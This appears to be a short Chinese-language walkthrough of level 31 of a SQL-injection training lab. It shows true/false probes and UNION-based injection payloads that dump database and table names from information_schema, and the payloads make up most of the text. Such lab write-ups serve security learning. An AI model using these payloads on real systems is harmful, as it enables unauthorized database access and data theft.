第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示
再输入 1") and false-- a,使SQL恒不成立,页面空显示
由此判断存在SQL注入,注入点为双引号+括号的字符型注入
页面有显示位,我们可以使用联合注入进行脱库
1. -1") union select 1,2, 2. (select group_concat(schema_name) from information_schema.schemata) 3. -- a
脱表
1. -1") union select 1,2, 2. (select group_concat(table_name) from information_schema.tables 3. where table_schema='security') 4. -- a